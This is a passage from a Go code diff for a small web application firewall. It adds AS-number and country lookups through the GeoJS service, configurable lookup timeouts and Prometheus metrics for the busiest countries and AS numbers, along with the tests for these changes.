allowedCountries: "", + }) +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -894,6 +950,9 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitPerHour, "1.5"}, {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, {rateLimitExemptPaths, "/assets/,,/static/"}, + {lookupSource, "file"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, + {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, + {addLookupHeaders, "yes"}, {deniedCountries, "nk"}, {deniedCountries, "kp,,ir"}, {deniedCountries, "prk"}, @@ -1181,6 +1240,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerHour: "10000", rateLimitPerDay: "50000", rateLimitExemptPaths: "", + lookupSource: defaultLookupSource, + lookupTimeout: "1s", + addLookupHeaders: "false", deniedCountries: "", allowedCountries: "", banResponse: "403", @@ -1242,6 +1304,18 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { wantBanSettings(t, got, want) } +// wantLookupSettings checks the settings for lookups. +func wantLookupSettings(t *testing.T, got *config.Config, want config.Config) { + t.Helper() + + if got.LookupSource != want.LookupSource || got.LookupTimeout != want.LookupTimeout || + got.AddLookupHeaders != want.AddLookupHeaders { + t.Errorf("lookups from %q, waited for %s, headers %t; want %q, %s, %t", + got.LookupSource, got.LookupTimeout, got.AddLookupHeaders, + want.LookupSource, want.LookupTimeout, want.AddLookupHeaders) + } +} + // wantBanSettings checks the settings for bans, the state files, the // metrics and the rule files. func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index bf016c5..0297dac 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -1,7 +1,7 @@ -// Package lookup looks up each client's country through the GeoJS web -// service, and keeps the answers in memory, for at most 100,000 clients -// and for 7 days each. The answers are written to lookups.json and read -// from it by the state package. +// Package lookup looks up each client's AS number and country through +// the GeoJS web service, and keeps the answers in memory, for at most +// 100,000 clients and for 7 days each. The answers are written to +// lookups.json and read from it by the state package. package lookup import ( @@ -14,6 +14,7 @@ import ( "net/http" "net/netip" "slices" + "strconv" "strings" "sync" "time" @@ -23,9 +24,10 @@ import ( "sneak.berlin/go/smallwebwaf/internal/metrics" ) -// URL is GeoJS's country endpoint. Asked about several addresses at once, -// comma separated in its ip parameter, it answers with a list. -const URL = "https://get.geojs.io/v1/ip/country.json" +// URL is GeoJS's endpoint for an address's place and network. Asked about +// several addresses at once, comma separated in its ip parameter, it +// answers with a list. +const URL = "https://get.geojs.io/v1/ip/geo.json" const ( // keepFor is how long an answer is used instead of asking GeoJS again. @@ -40,9 +42,8 @@ const ( maxWaiting = 10000 // maxPerRequest is how many addresses one request to GeoJS asks about. maxPerRequest = 200 - // timeout is how long a new client waits for its answer, and how long - // a request to GeoJS may take before it is abandoned. - timeout = time.Second + // unknownASN is the AS number GeoJS gives when it knows none. + unknownASN = 64512 // After a failure GeoJS is not asked again for a second, and for // retryDelayFactor times as long after each further failure in a row, // up to five minutes. @@ -62,6 +63,16 @@ var ( type Params struct { // URL is where GeoJS is asked, normally URL. URL string + // Timeout is how long a request waits for its client's first answer, + // and how long a request to GeoJS may take before it is abandoned + // (SWWAF_LOOKUP_TIMEOUT). + Timeout time.Duration + // Wait is true when a setting needs each request's answer before the + // request goes on. Otherwise no request waits for one. + Wait bool + // Answered, unless nil, is given each answer GeoJS gives, once it is + // kept. + Answered func(Answer) // Now tells the time, normally time.Now. Now func() time.Time // ProcessLog receives GeoJS's failures. @@ -73,11 +84,14 @@ type Params struct { Alerts *alerts.Queue } -// GeoJS looks up clients' countries through GeoJS. At most one request -// to GeoJS is under way at a time, and it asks about every client waiting, -// up to maxPerRequest. It is safe for concurrent use. +// GeoJS looks up clients' AS numbers and countries through GeoJS. At most +// one request to GeoJS is under way at a time, and it asks about every +// client waiting, up to maxPerRequest. It is safe for concurrent use. type GeoJS struct { url string + timeout time.Duration + wait bool + answered func(Answer) now func() time.Time processLog *slog.Logger metrics *metrics.Metrics @@ -100,10 +114,16 @@ type GeoJS struct { } // Answer is what GeoJS said about a client, as lookups.json holds it: its -// country, "" when GeoJS cannot place it, when GeoJS said so, and when -// the answer was last used. +// AS number, such as AS64496, and the AS's name, both "" when GeoJS knows +// no AS number for it; its country, "" when GeoJS cannot place it; when +// GeoJS said so, and when the answer was last used. The zero Answer is +// that of a client with no answer. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type Answer struct { Client netip.Prefix `json:"client"` + ASN string `json:"asn"` + ASName string `json:"as_name"` Country string `json:"country"` Answered time.Time `json:"answered"` Used time.Time `json:"used"` @@ -128,6 +148,9 @@ func New(params Params) *GeoJS { return &GeoJS{ url: params.URL, + timeout: params.Timeout, + wait: params.Wait, + answered: params.Answered, now: params.Now, processLog: params.ProcessLog, metrics: params.Metrics, @@ -142,23 +165,23 @@ func New(params Params) *GeoJS { } } -// Country returns the country GeoJS places client in, as a two-letter -// code in capitals, or "" when the country cannot be found: GeoJS cannot -// place the client, or has not answered in time. An answer is kept for 7 -// days. Without one, a client waits up to timeout for it, unless it has -// gone without one before; until GeoJS answers, the client is asked about -// again in the background. ctx is the context of the client's request, -// and ends the wait when it ends. +// LookUp returns the answer GeoJS gave about client, with its country as +// a two-letter code in capitals, or the zero Answer when there is none +// yet. An answer is kept for 7 days. Without one, the client is asked +// about in the background, and, while Wait is set, the request waits up +// to Timeout for the answer, unless the client has gone without one +// before. ctx is the context of the client's request, and ends the wait +// when it ends. // // GeoJS is asked about the client's first address, which is the client's // own address for IPv4, and an address in the same place for an IPv6 /64. -func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { - country, asked := g.answerOrWait(ctx, client) +func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer { + answer, asked := g.answerOrWait(ctx, client) if asked == nil { - return country + return answer } - timer := time.NewTimer(timeout) + timer := time.NewTimer(g.timeout) defer timer.Stop() select { @@ -170,7 +193,7 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { g.mu.Lock() defer g.mu.Unlock() - country, found := g.kept(client) + answer, found := g.kept(client) if !found { g.metrics.GeoJSUnanswered.Inc() } @@ -180,7 +203,15 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { w.late = true } - return country + return answer +} + +// Kept returns client's answer, if one is kept, without asking GeoJS. +func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) { + g.mu.Lock() + defer g.mu.Unlock() + + return g.kept(client) } // Snapshot returns every answer kept, sorted by client, as lookups.json @@ -232,13 +263,13 @@ func (g *GeoJS) Load(answers []Answer) { // nil when there is nothing to wait for. func (g *GeoJS) answerOrWait( ctx context.Context, client netip.Prefix, -) (string, <-chan struct{}) { +) (Answer, <-chan struct{}) { g.mu.Lock() defer g.mu.Unlock() - country, found := g.kept(client) + answer, found := g.kept(client) if found { - return country, nil + return answer, nil } w, waiting := g.waiting[client] @@ -249,10 +280,14 @@ func (g *GeoJS) answerOrWait( g.ask(ctx) + if !g.wait { + return Answer{}, nil // the answer is not needed before the request goes on + } + if w == nil { g.metrics.GeoJSUnanswered.Inc() - return "", nil // too many clients wait already + return Answer{}, nil // too many clients wait already } if !g.asking { @@ -263,25 +298,25 @@ func (g *GeoJS) answerOrWait( if w.late { g.metrics.GeoJSUnanswered.Inc() - return "", nil + return Answer{}, nil } - return "", w.asked + return Answer{}, w.asked } // kept returns client's answer, if GeoJS gave it less than keepFor ago, // and notes that it was used. -func (g *GeoJS) kept(client netip.Prefix) (string, bool) { +func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) { now := g.now() kept, found := g.answers.Get(client) if !found || now.Sub(kept.Answered) >= keepFor { - return "", false + return Answer{}, false } kept.Used = now - return kept.Country, true + return *kept, true } // ask starts asking GeoJS about the waiting clients, unless a request to @@ -299,7 +334,8 @@ func (g *GeoJS) ask(ctx context.Context) { } // askAboutWaiting asks GeoJS about the waiting clients, one request at a -// time, until none is left or GeoJS fails. +// time, until none is left or GeoJS fails. Each answer kept is given to +// Answered, outside the lock, since Answered takes locks of its own. func (g *GeoJS) askAboutWaiting(ctx context.Context) { for { clients := g.nextClients() @@ -307,8 +343,16 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) { return } - countries, err := g.request(ctx, clients) - if !g.keep(clients, countries, err) { + given, err := g.request(ctx, clients) + kept, answered := g.keep(clients, given, err) + + if g.answered != nil { + for _, answer := range kept { + g.answered(answer) + } + } + + if !answered { return } } @@ -340,32 +384,35 @@ func (g *GeoJS) nextClients() []netip.Prefix { return clients } -// keep notes how a request to GeoJS about clients ended, and reports -// whether GeoJS answered about all of them. Each client whose address -// GeoJS's answer names gets its answer, with no country when GeoJS gave -// none. An answer that leaves an address out is a failure. After a -// failure GeoJS is left alone for a while, and every client still waiting -// stops waiting and is asked about once GeoJS is asked again. +// keep notes how a request to GeoJS about clients ended, given being the +// answer for each address GeoJS's answer names. It returns the answers it +// kept, and reports whether GeoJS answered about all of the clients. Each +// client whose address GeoJS's answer names gets its answer. An answer +// that leaves an address out is a failure. After a failure GeoJS is left +// alone for a while, and every client still waiting stops waiting and is +// asked about once GeoJS is asked again. func (g *GeoJS) keep( - clients []netip.Prefix, countries map[netip.Addr]string, err error, -) bool { + clients []netip.Prefix, given map[netip.Addr]Answer, err error, +) ([]Answer, bool) { g.mu.Lock() defer g.mu.Unlock() now := g.now() + kept := make([]Answer, 0, len(clients)) leftOut := 0 for _, client := range clients { - country, named := countries[client.Addr()] + answer, named := given[client.Addr()] if !named { leftOut++ continue } - g.answers.Add(client, &Answer{ - Client: client, Country: country, Answered: now, Used: now, - }) + answer.Client, answer.Answered, answer.Used = client, now, now + g.answers.Add(client, &answer) + kept = append(kept, answer) + close(g.waiting[client].asked) delete(g.waiting, client) } @@ -400,26 +447,28 @@ func (g *GeoJS) keep( }, }) - return false + return kept, false } g.retryDelay = 0 - return true + return kept, true } -// request asks GeoJS about clients in one request, and returns the -// country it gave, in capitals, for each address its answer names. +// request asks GeoJS about clients in one request, and returns the answer +// for each address GeoJS's answer names: its AS number and the AS's name, +// both "" for the AS number 64512, which GeoJS gives when it knows none, +// and its country, in capitals. func (g *GeoJS) request( ctx context.Context, clients []netip.Prefix, -) (map[netip.Addr]string, error) { +) (map[netip.Addr]Answer, error) { addrs := make([]string, 0, len(clients)) for _, client := range clients { addrs = append(addrs, client.Addr().String()) } - ctx, cancel := context.WithTimeout(ctx, timeout) + ctx, cancel := context.WithTimeout(ctx, g.timeout) defer cancel() req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody) @@ -446,9 +495,12 @@ func (g *GeoJS) request( return nil, fmt.Errorf("%w %s", errStatus, res.Status) } + //nolint:tagliatelle // GeoJS's own names var answers []struct { - IP string `json:"ip"` - Country string `json:"country"` + IP string `json:"ip"` + ASN int64 `json:"asn"` + ASName string `json:"organization_name"` + CountryCode string `json:"country_code"` } err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers) @@ -456,14 +508,22 @@ func (g *GeoJS) request( return nil, fmt.Errorf("read GeoJS's answer: %w", err) } - countries := make(map[netip.Addr]string, len(answers)) + given := make(map[netip.Addr]Answer, len(answers)) for _, item := range answers { addr, err := netip.ParseAddr(item.IP) - if err == nil { - countries[addr] = strings.ToUpper(item.Country) + if err != nil { + continue } + + answer := Answer{Country: strings.ToUpper(item.CountryCode)} + if item.ASN != 0 && item.ASN != unknownASN { + answer.ASN = "AS" + strconv.FormatInt(item.ASN, 10) + answer.ASName = item.ASName + } + + given[addr] = answer } - return countries, nil + return given, nil } diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index 1f85297..e62d5a1 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -23,9 +23,13 @@ import ( const ( // germany is where the stand-in for GeoJS places every address but - // unplaced. - germany = "DE" - // unplaced is the address it cannot place. + // unplaced, and asNumber, kept as asn, and asName the AS it gives them. + germany = "DE" + asNumber = 64496 + asn = "AS64496" + asName = "Example Net" + // unplaced is the address it cannot place, for which it gives the AS + // number 64512 and the AS name Unknown, as GeoJS does. unplaced = "192.0.2.1" // leftOut is the address it leaves out of its answer when // answeringWithoutLeftOut. @@ -83,7 +87,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { var earlier sync.WaitGroup - earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) + earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) defer earlier.Wait() waitForRequests(t, geojs, 1) @@ -115,6 +119,58 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { }) } +func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + // A timeout longer than the default second, and a GeoJS that does + // not answer. + const longerTimeout = 3 * time.Second + + m := metrics.New(1, "app") + g := lookup.New(lookup.Params{ + URL: lookup.URL, + Timeout: longerTimeout, + Wait: true, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Metrics: m, + Alerts: alerts.New(alerts.Params{}), + }) + g.SetTransport(&standIn{answers: hanging}) + + var ( + request sync.WaitGroup + waited time.Duration + ) + + request.Go(func() { + began := time.Now() + + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") + + waited = time.Since(began) + }) + + // A moment before the timeout runs out, GeoJS is still being asked: + // the request to it has not failed. + time.Sleep(longerTimeout - time.Millisecond) + synctest.Wait() + wantFailures(t, m, 0) + + // As it runs out, the client's request goes on, and the request to + // GeoJS is abandoned, which counts as a failure. + request.Wait() + synctest.Wait() + + if waited != longerTimeout { + t.Errorf("waited %s for the answer, want %s", waited, longerTimeout) + } + + wantFailures(t, m, 1) + }) +} + func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) { t.Parallel() @@ -187,6 +243,96 @@ func TestCountryIsKeptInCapitals(t *testing.T) { }) } +func TestAnswerHoldsTheASNumberTheASNameAndTheCountry(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + _, clock, g := start() + placed := netip.MustParsePrefix("203.0.113.9/32") + notPlaced := netip.MustParsePrefix(unplaced + "/32") + now := clock.Now() + + // For the client it cannot place, GeoJS gives the AS number 64512 + // and the AS name Unknown, which count as unknown. + for client, want := range map[netip.Prefix]lookup.Answer{ + placed: { + Client: placed, ASN: asn, ASName: asName, Country: germany, + Answered: now, Used: now, + }, + notPlaced: {Client: notPlaced, Answered: now, Used: now}, + } { + got := g.LookUp(t.Context(), client) + if got != want { + t.Errorf("answer for %s\n%+v\nwant\n%+v", client, got, want) + } + } + }) +} + +func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes( + t *testing.T, +) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var ( + mu sync.Mutex + given []lookup.Answer + ) + + geojs := &standIn{answers: answeringSlowly} + clock := newClock() + m := metrics.New(1, "app") + g := lookup.New(lookup.Params{ + URL: lookup.URL, + Timeout: timeout, + Answered: func(answer lookup.Answer) { + mu.Lock() + defer mu.Unlock() + + given = append(given, answer) + }, + Now: clock.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Metrics: m, + Alerts: alerts.New(alerts.Params{}), + }) + g.SetTransport(geojs) + + client := netip.MustParsePrefix("203.0.113.9/32") + + // The request goes on at once, without an answer, and GeoJS is asked + // about the client, which it answers most of a second later. + began := time.Now() + + got := g.LookUp(t.Context(), client) + if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { + t.Errorf("waited %s for %+v, want no wait and no answer", took, got) + } + + waitForRequests(t, geojs, 1) + wantAsked(t, geojs, 0, "203.0.113.9") + + time.Sleep(timeout) + synctest.Wait() + + now := clock.Now() + want := lookup.Answer{ + Client: client, ASN: asn, ASName: asName, Country: germany, + Answered: now, Used: now, + } + + mu.Lock() + if !slices.Equal(given, []lookup.Answer{want}) { + t.Errorf("answers given %+v, want only %+v", given, want) + } + mu.Unlock() + + wantCountry(t, g, client, germany) + wantUnanswered(t, m, 0) + }) +} + func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { t.Parallel() @@ -197,6 +343,8 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { geojs := &standIn{answers: hanging} g := lookup.New(lookup.Params{ URL: lookup.URL, + Timeout: timeout, + Wait: true, Now: time.Now, ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), Metrics: metrics.New(1, "app"), @@ -401,6 +549,8 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) { m := metrics.New(1, "app") g := lookup.New(lookup.Params{ URL: lookup.URL, + Timeout: timeout, + Wait: true, Now: time.Now, ProcessLog: slog.New(slog.DiscardHandler), Metrics: m, @@ -494,21 +644,24 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { } } - list := make([]map[string]string, 0, len(addrs)) + list := make([]map[string]any, 0, len(addrs)) for _, addr := range addrs { - country := germany + item := map[string]any{ + "ip": addr, "asn": asNumber, "organization_name": asName, + "country_code": germany, + } switch { case addr == unplaced: - country = "" + item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"} case addr == leftOut && answers == answeringWithoutLeftOut: continue case answers == answeringInLowerCase: - country = strings.ToLower(germany) + item["country_code"] = strings.ToLower(germany) } - list = append(list, map[string]string{"ip": addr, "country": country}) + list = append(list, item) } var answer any = list @@ -566,7 +719,8 @@ func (c *testClock) advance(d time.Duration) { } // start returns a stand-in for GeoJS that answers, a clock, and a GeoJS -// asking the stand-in by that clock. +// asking the stand-in by that clock, for which a request waits for its +// client's first answer. func start() (*standIn, *testClock, *lookup.GeoJS) { geojs, clock, g, _ := startWithAlerts() @@ -578,7 +732,7 @@ func start() (*standIn, *testClock, *lookup.GeoJS) { // cooldown, by the same clock. func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) { geojs := &standIn{} - clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)} + clock := newClock() queue := alerts.New(alerts.Params{ WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, Events: alerts.Events(), @@ -587,6 +741,8 @@ func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) { }) g := lookup.New(lookup.Params{ URL: lookup.URL, + Timeout: timeout, + Wait: true, Now: clock.Now, ProcessLog: slog.New(slog.DiscardHandler), Metrics: metrics.New(1, "app"), @@ -597,6 +753,11 @@ func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) { return geojs, clock, g, queue } +// newClock returns a clock set to the start of a day. +func newClock() *testClock { + return &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)} +} + // newClients returns what returns a new IPv4 client each time it is // called. func newClients() func() netip.Prefix { @@ -613,7 +774,7 @@ func newClients() func() netip.Prefix { func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) { t.Helper() - got := g.Country(t.Context(), client) + got := g.LookUp(t.Context(), client).Country if got != want { t.Errorf("%s is in %q, want %q", client, got, want) } @@ -658,6 +819,16 @@ func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) { } } +// wantFailures checks how many requests to GeoJS m counts as failed. +func wantFailures(t *testing.T, m *metrics.Metrics, want float64) { + t.Helper() + + got := testutil.ToFloat64(m.GeoJSFailures) + if got != want { + t.Errorf("%v requests to GeoJS failed, want %v", got, want) + } +} + // waitForRequests waits until g has done all it can before time passes, // checks that GeoJS has had count requests, and returns the addresses each // asked about. diff --git a/internal/lookup/snapshot_test.go b/internal/lookup/snapshot_test.go index eb3b2df..b75defd 100644 --- a/internal/lookup/snapshot_test.go +++ b/internal/lookup/snapshot_test.go @@ -26,8 +26,11 @@ func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) { wantCountry(t, g, placed, germany) want := []lookup.Answer{ - {Client: notPlaced, Country: "", Answered: asked, Used: asked}, - {Client: placed, Country: germany, Answered: asked, Used: asked.Add(time.Hour)}, + {Client: notPlaced, Answered: asked, Used: asked}, + { + Client: placed, ASN: asn, ASName: asName, Country: germany, + Answered: asked, Used: asked.Add(time.Hour), + }, } if got := g.Snapshot(); !slices.Equal(got, want) { t.Errorf("snapshot\n%+v\nwant\n%+v", got, want) diff --git a/internal/metrics/busiest.go b/internal/metrics/busiest.go new file mode 100644 index 0000000..f0c69cd --- /dev/null +++ b/internal/metrics/busiest.go @@ -0,0 +1,155 @@ +package metrics + +import ( + "sync" + + "github.com/prometheus/client_golang/prometheus" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// other is the label value under which the countries or AS numbers +// outside the busiest are counted. +const other = "other" + +// busiest are the metrics by one thing the lookup finds of the client, +// its country or its AS number, for requests whose client's is known. +// The topN busiest countries or AS numbers, by their requests since the +// start, have series of their own, and the others are counted under +// other, so that there are never more than topN + 1 series. One that +// drops out of the busiest loses its series, and its next requests are +// counted under other; one that becomes one of them gets a series that +// counts from then on. Each series therefore only ever goes up. +type busiest struct { + topN int + + requests *prometheus.CounterVec + requestBytes *prometheus.CounterVec + responseBytes *prometheus.CounterVec + // refused are, by country, the requests the country lists refused; nil + // by AS number. + refused *prometheus.CounterVec + + mu sync.Mutex + // seen is each country's or AS number's requests since the start, by + // which they are ranked. + seen map[string]int64 + // top are those with series of their own. + top map[string]bool +} + +// newCountries returns the metrics by country, with series of their own +// for the topN busiest countries. +func newCountries(topN int) *busiest { + countries := newBusiest(topN, "country", "the client's country") + countries.refused = counterVec("smallwebwaf_country_list_refusals_total", + "Requests the country lists refused, by the client's country.", + []string{"country"}) + + return countries +} + +// newASNs returns the metrics by AS number, with series of their own for +// the topN busiest AS numbers. +func newASNs(topN int) *busiest { + return newBusiest(topN, "asn", "the client's AS number") +} + +// newBusiest returns the metrics by label, which is described as +// description, with series of their own for the topN busiest values. +func newBusiest(topN int, label, description string) *busiest { + by := []string{label} + + return &busiest{ + topN: topN, + requests: counterVec("smallwebwaf_"+label+"_requests_total", + "Requests, by "+description+".", by), + requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total", + "Request body bytes, by "+description+".", by), + responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total", + "Response body bytes, by "+description+".", by), + seen: map[string]int64{}, + top: map[string]bool{}, + } +} + +// Describe and Collect make the metrics a prometheus.Collector, so that +// they are registered together. +func (b *busiest) Describe(ch chan<- *prometheus.Desc) { + for _, vec := range b.vecs() { + vec.Describe(ch) + } +} + +// Collect is the other half of prometheus.Collector, with Describe. +func (b *busiest) Collect(ch chan<- prometheus.Metric) { + for _, vec := range b.vecs() { + vec.Collect(ch) + } +} + +// vecs returns the metrics: by AS number, those of requests and bytes; by +// country, the refusals by the country lists as well. +func (b *busiest) vecs() []*prometheus.CounterVec { + vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes} + if b.refused != nil { + vecs = append(vecs, b.refused) + } + + return vecs +} + +// add counts a request from its log line, whose client's country or AS +// number, value, is known. +func (b *busiest) add(value string, line *requestlog.Line) { + b.mu.Lock() + defer b.mu.Unlock() + + b.seen[value]++ + + label := b.label(value) + b.requests.WithLabelValues(label).Inc() + b.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes)) + b.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes)) + + if b.refused != nil && line.Action == requestlog.ActionCountryDenied { + b.refused.WithLabelValues(label).Inc() + } +} + +// label returns the label a request from value is counted under: value +// while it is one of the busiest, other while it is not. A value busier +// than the least busy of them takes its place, and that one's series are +// dropped. +func (b *busiest) label(value string) string { + if b.top[value] { + return value + } + + if len(b.top) < b.topN { + b.top[value] = true + + return value + } + + least := "" + + for top := range b.top { + if least == "" || b.seen[top] < b.seen[least] { + least = top + } + } + + if b.seen[value] <= b.seen[least] { + return other + } + + delete(b.top, least) + + for _, vec := range b.vecs() { + vec.DeleteLabelValues(least) + } + + b.top[value] = true + + return value +} diff --git a/internal/metrics/countries.go b/internal/metrics/countries.go deleted file mode 100644 index 27cf010..0000000 --- a/internal/metrics/countries.go +++ /dev/null @@ -1,116 +0,0 @@ -package metrics - -import ( - "sync" - - "github.com/prometheus/client_golang/prometheus" - "sneak.berlin/go/smallwebwaf/internal/requestlog" -) - -// other is the label under which the countries outside the busiest are -// counted. -const other = "other" - -// countries are the metrics by the client's country, for requests whose -// client's country is known. The topN busiest countries, by their requests -// since the start, have series of their own, and the others are counted -// under other, so that there are never more than topN + 1 series. A -// country that drops out of the busiest loses its series, and its next -// requests are counted under other; one that becomes one of them gets a -// series that counts from then on. Each series therefore only ever goes -// up. -type countries struct { - topN int - - requests *prometheus.CounterVec - requestBytes *prometheus.CounterVec - responseBytes *prometheus.CounterVec - // refused are the requests the country lists refused. - refused *prometheus.CounterVec - - mu sync.Mutex - // seen is each country's requests since the start, by which the - // countries are ranked. GeoJS gives two-letter codes, so it holds at - // most a few hundred. - seen map[string]int64 - // top are the countries with series of their own. - top map[string]bool -} - -// newCountries returns the metrics by country, with series of their own -// for the topN busiest countries. -func newCountries(topN int) *countries { - byCountry := []string{"country"} - - return &countries{ - topN: topN, - requests: counterVec("smallwebwaf_country_requests_total", - "Requests, by the client's country.", byCountry), - requestBytes: counterVec("smallwebwaf_country_request_bytes_total", - "Request body bytes, by the client's country.", byCountry), - responseBytes: counterVec("smallwebwaf_country_response_bytes_total", - "Response body bytes, by the client's country.", byCountry), - refused: counterVec("smallwebwaf_country_list_refusals_total", - "Requests the country lists refused, by the client's country.", - byCountry), - seen: map[string]int64{}, - top: map[string]bool{}, - } -} - -// add counts a request from its log line, whose country is known. -func (c *countries) add(line *requestlog.Line) { - c.mu.Lock() - defer c.mu.Unlock() - - c.seen[line.Country]++ - - label := c.label(line.Country) - c.requests.WithLabelValues(label).Inc() - c.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes)) - c.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes)) - - if line.Action == requestlog.ActionCountryDenied { - c.refused.WithLabelValues(label).Inc() - } -} - -// label returns the label a request from country is counted under: the -// country while it is one of the busiest, other while it is not. A -// country busier than the least busy of them takes its place, and that -// country's series are dropped. -func (c *countries) label(country string) string { - if c.top[country] { - return country - } - - if len(c.top) < c.topN { - c.top[country] = true - - return country - } - - least := "" - - for top := range c.top { - if least == "" || c.seen[top] < c.seen[least] { - least = top - } - } - - if c.seen[country] <= c.seen[least] { - return other - } - - delete(c.top, least) - - for _, vec := range []*prometheus.CounterVec{ - c.requests, c.requestBytes, c.responseBytes, c.refused, - } { - vec.DeleteLabelValues(least) - } - - c.top[country] = true - - return country -} diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 3eb8df2..8f14162 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -36,12 +36,13 @@ type Metrics struct { offences *prometheus.CounterVec // ruleMatches are made by AddRules. ruleMatches *prometheus.CounterVec - countries *countries + countries *busiest + asns *busiest // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those - // that failed. GeoJSUnanswered are the requests whose client counted - // as coming from an unknown country because GeoJS had not answered - // about it in time. + // that failed. GeoJSUnanswered are the requests that needed their + // client's answer, for a setting that acts on it, and went on without + // it because GeoJS had not given it in time. GeoJSRequests prometheus.Counter GeoJSFailures prometheus.Counter GeoJSUnanswered prometheus.Counter @@ -55,8 +56,8 @@ type Metrics struct { } // New returns the metrics, with the Go runtime's and the process's own. -// topN is how many countries get series of their own -// (SWWAF_METRICS_TOP_N). Every metric carries instanceName +// topN is how many countries and how many AS numbers get series of their +// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // (SWWAF_INSTANCE_NAME) as its label instance. func New(topN int, instanceName string) *Metrics { byStatus := []string{"status_class", "action"} @@ -96,6 +97,7 @@ func New(topN int, instanceName string) *Metrics { offences: counterVec("smallwebwaf_offences_total", "Offences, by kind.", []string{"kind"}), countries: newCountries(topN), + asns: newASNs(topN), GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ Name: "smallwebwaf_geojs_requests_total", Help: "Requests to GeoJS.", @@ -106,8 +108,8 @@ func New(topN int, instanceName string) *Metrics { }), GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{ Name: "smallwebwaf_geojs_unanswered_total", - Help: "Requests whose client counted as coming from an unknown " + - "country because GeoJS had not answered about it in time.", + Help: "Requests that needed their client's answer from GeoJS and " + + "went on without it, because GeoJS had not given it in time.", }), stateFileWrites: counterVec("smallwebwaf_state_file_writes_total", "Writes of each state file.", byFile), @@ -129,9 +131,7 @@ func New(topN int, instanceName string) *Metrics { collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.requestDuration, m.upstreamDuration, - m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, - m.countries.requests, m.countries.requestBytes, m.countries.responseBytes, - m.countries.refused, + m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns, m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.stateFileWrites, m.stateFileWriteFailures, m.stateFileLastWrite, m.stateFileSize, @@ -315,7 +315,11 @@ func (m *Metrics) RequestEnded( } if line.Country != "" { - m.countries.add(line) + m.countries.add(line.Country, line) + } + + if line.ASN != "" { + m.asns.add(line.ASN, line) } } diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 9f29f35..ced96a6 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ 